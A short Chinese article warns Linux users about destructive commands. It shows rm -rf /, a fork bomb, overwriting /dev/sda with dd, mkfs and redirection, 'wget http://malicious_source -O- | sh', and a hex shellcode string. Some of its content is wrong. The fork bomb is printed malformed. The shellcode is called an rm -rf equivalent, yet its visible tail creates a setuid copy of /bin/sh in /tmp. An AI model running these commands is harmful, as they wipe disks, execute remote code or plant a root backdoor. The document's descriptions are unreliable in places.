Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。
rm –rf
rm –rf是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏,下面给出一些案例:
- rm 删除linux下的文件
- rm -r 递归删除文件夹,包括空文件夹
- rm -f 强制无条件删除只读文件
- rm -rf / : 强制无条件删除root目录下所有内容。
- rm -rf * : 强制无条件删除当前目录下所有内容。
- rm -rf . : 强制无条件删除当前文件夹和子文件夹
综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:
- alias rm= 'rm -i'
这样,在你下次删除东西的时候,它会提醒你到底要删啥。
){:|:&};:
这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。
手贱的同学可以尽管在虚拟机里试试:
- ){:|:&};:
任意命令 > /dev/sda
这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。
mv 指定的文件夹 /dev/null
这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。
- # mv /home/user/* /dev/null
上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。
- wget http://malicious_source -O- | sh
这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本。
- mkfs.ext3 /dev/sda
上面的例子会格式化/dev/sda,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。
> 任意文件
这个命令可以用来刷掉原文件里的内容,如果你不小心打错了字,输入了诸如下面的命令:
- > xt.conf
你系统配置文件里的内容可能就会因此被清理掉。
^foo^bar
这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。
dd if=/dev/random of=/dev/sda
dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。
隐藏命令
下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:
- char esp[] __attribute__ ((section(“.text”))) /* e.s.p
- release */
- = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
- “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
- “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
- “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
- “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
- “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
- “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
- “cp -p /bin/sh /tmp/.beyond; chmod 4755
- /tmp/.beyond;”;
这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。